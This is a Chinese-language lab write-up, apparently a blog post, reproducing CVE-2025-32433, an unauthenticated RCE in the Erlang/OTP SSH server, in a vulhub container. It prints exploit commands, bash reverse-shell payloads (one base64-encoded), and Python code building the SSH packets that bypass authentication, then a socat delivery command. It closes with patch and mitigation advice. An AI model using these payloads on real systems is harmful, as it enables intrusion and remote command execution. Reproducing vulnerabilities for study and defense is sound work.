Erlang-SSH未授权(CVE-2025-32433)复现

简介

CVE-2025-32433

Erlang/OTP是一套用于Erlang编程语言的库。在OTP-27.3.3、OTP-26.2.5.11和OTP-25.3.2.20之前的版本中,SSH服务器可能允许攻击者执行未经身份验证的RCE。通过利用SSH协议消息处理中的漏洞,恶意行为者可以在没有有效凭证的情况下未经授权访问受影响的系统并执行任意命令。该问题已在OTP-27.3.3、OTP-26.2.5.11和OTP-25.3.2.20版本中修复。临时解决方法包括禁用SSH服务器或通过防火墙规则阻止访问。

Erlang 简介

Erlang是一种功能编程语言,也具有运行时环境。它的构建方式使其对并发,分发和容错功能具有集成支持,其被广泛应用于电信基础设施消息平台分布式数据库和物联网系统 。Erlang最初是为在爱立信的多个大型电信系统中使用而开发的。

Erlang最初是爱立信内部的专有语言。它随后于1998年作为一种开放源语言发布。Erlang以及OTP(Erlang中的中间件和库的集合)现在由爱立信的OTP产品部门提供支持和维护,并被广泛称为Erlang/OTP

参考:CVSS 10分的Erlang/OTP SSH漏洞(CVE-2025-32433)复现详细版-腾讯云开发者社区-腾讯云

Erlang 简介 - Erlang教程 - 菜鸟教程

搭建

Erlang/OTP 27.3.2

bash 复制代码
#vulhub
cd vulhub/erlang/CVE-2025-32433
docker-compose up -d

复现

vulhub靶场已经附带EXP了

攻击没有明确回显,常规外带手段(ping、curl、nc等)都不行,这个容器很简洁,并没有装这些工具,考虑内置的bash、sh等

尝试直接nc连接

zsh 复制代码
#攻击机terminal 1
python exploit.py -t 10.97.250.136 -p 2222 -c "bash -i >& /dev/tcp/10.97.250.158/4343 0>&1"
#攻击机terminal 2
nc -lvp 4343

监听后开始攻击,但是没有成功连接

于是分步执行

zsh 复制代码
python exploit.py -t 10.97.250.136 -p 2222 -c "echo 'bash -i >& /dev/tcp/10.97.250.158/4343 0>&1' > /tmp/sh"

python exploit.py -t 10.97.250.136 -p 2222 -c 'bash /tmp/sh'

或者使用base64绕过特殊字符解析

zsh 复制代码
python exploit.py -t 10.97.250.136 -p 2222 -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ny4yNTAuMTU4LzQzNDMgMD4mMQ==|base64 -d|bash'

主要步骤

SSH协议版本交换

SSH协议版本交换,ssh会话起点,由此发起连接,没有发送此数据,erlang SSH服务器便拒绝处理

数据包内容

复制代码
SSH-2.0-OpenSSH_8.9\r\n

密钥交换初始化

密钥交换初始化,进入密钥交换状态,在密钥交换成功后,Erlang SSH服务器没有严格检查后续消息的认证状态,因此第三步就接受了开启通道的请求

python 复制代码
def build_kexinit():
    cookie = b"\x00" * 16
    def name_list(l): return string_payload(",".join(l))
    return (
        b"\x14" + cookie +
        name_list(["curve25519-sha256","ecdh-sha2-nistp256","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256"]) +
        name_list(["rsa-sha2-256","rsa-sha2-512"]) +
        name_list(["aes128-ctr"]) * 2 +
        name_list(["hmac-sha1"]) * 2 +
        name_list(["none"]) * 2 +
        name_list([]) * 2 +
        b"\x00" + struct.pack(">I", 0)
    )
kex_packet = build_kexinit()
#数据填充
kex_padded = pad_packet(kex_packet)
with open('packet2.bin', 'wb') as f: f.write(kex_padded)

请求打开通道

交换完成后,发送开启通道的请求,服务器可能错误地认为已连接,通道顺利打开,绕过了认证

python 复制代码
def build_channel_open():
    return (
        b"\x5a" + string_payload("session") +
        struct.pack(">I", 0) + struct.pack(">I", 0x68000) + struct.pack(">I", 0x10000)
    )
chan_open = build_channel_open()
chan_open_padded = pad_packet(chan_open)
with open('packet3.bin', 'wb') as f: f.write(chan_open_padded)

发送执行命令

利用通道执行命令

python 复制代码
def pad_packet(payload):
    padding_len = 8 - ((len(payload) + 5) % 8)
    if padding_len < 4: padding_len += 8
    return (
        struct.pack(">I", len(payload) + 1 + padding_len) +
        bytes([padding_len]) + payload + bytes([0] * padding_len)
    )
cmd = 'bash /tmp/sh'
encoded_cmd = base64.b64encode(cmd.encode()).decode()
erlang_cmd = f'os:cmd(binary_to_list(base64:decode("{encoded_cmd}"))).'
chan_req = build_channel_request(erlang_cmd)
chan_req_padded = pad_packet(chan_req)
with open('packet4.bin', 'wb') as f: f.write(chan_req_padded)

综合步骤

由于执行时只能建立一个tcp连接,所以不能分步执行,所以使用socat建立一个tcp连接发送数据包

bash 复制代码
{
    echo -ne "SSH-2.0-OpenSSH_8.9\r\n"
    sleep 0.5
    cat packet2.bin
    sleep 0.5  
    cat packet3.bin
    sleep 0.5
    cat packet4.bin
} | socat - TCP:10.97.250.136:2222

防御

必须立即升级至以下修复版本:

  • OTP-27.3.3 及更高版本
  • OTP-26.2.5.11 及更高版本
  • OTP-25.3.2.20 及更高版本

对于无法立即升级的环境,可临时采取以下缓解措施:

  • 配置防火墙仅允许特定 IP 访问 SSH 服务
  • 禁用 SSH 服务或切换至其他 SSH 实现(如 OpenSSH)
  • 以最低权限运行 SSH 守护进程,限制潜在危害范围

参考:CVE-2025-32433:Erlang/OTP SSH远程代码执行漏洞深度分析报告

相关推荐
xixixi7777711 小时前
产业全景解读:太空算力、国产芯、国产大模型、6G 空天地、AI 可信身份、后量子安全多线全面突破
人工智能·安全·ai·大模型·数据中心·通信·运营商
m0_4665252911 小时前
新品发布 | 绿盟安全智算一体机,构建“算力、调度、安全“深度融合的AI基础设施
人工智能·安全
hz5678911 小时前
内网视频会议系统建设方案:适合政企单位的安全会议选择
安全·云计算·音视频·实时音视频·信息与通信
2603_9547083112 小时前
全维度容错设计,打造微电网安全运行屏障
服务器·网络·数据库·人工智能·分布式·安全
冰茶丿13 小时前
嵌入式安全第一关:Secure Boot是怎么保护你的设备的?
嵌入式硬件·安全
handsome091615 小时前
苹果电脑可以使用yunedit-ssh代替winscp
ssh·管理linux文件
长风23015 小时前
Day14: 极限异常演练 —— 验证系统韧性与错误告警生成
人工智能·安全
技术不好的崎鸣同学17 小时前
Windows 命令提示符(CMD)恶意脚本分析篇
网络·windows·安全·系统安全
Sagittarius_A*17 小时前
Docker:渗透前置容器化核心基础
运维·安全·docker·容器
孟郎郎18 小时前
AI 辅助开发编程敏感信息保护安全规范
人工智能·安全·ai·风险·隐患